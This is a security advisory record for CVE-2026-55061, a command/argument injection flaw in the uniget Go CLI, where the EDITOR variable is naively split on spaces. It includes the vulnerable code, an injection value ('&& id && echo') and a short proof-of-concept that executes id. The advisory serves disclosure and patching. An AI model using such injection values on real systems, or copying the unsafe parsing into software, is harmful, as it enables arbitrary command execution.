CVE-2026-55061: Gitlab.com/uniget org/cli Uniget CLI Has An EDITOR Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qmcq-xw74-w667",
  "modified" : "2026-08-17T17:46:05Z",
  "published" : "2026-08-17T17:46:05Z",
  "aliases" : [ "CVE-2026-55061" ],
  "summary" : "uniget CLI has an EDITOR Command Injection",
  "details" : "### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n<img width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitlab.com/uniget-org/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.27.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uniget-org/cli"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:46:05Z",
    "nvd_published_at" : null
  }
}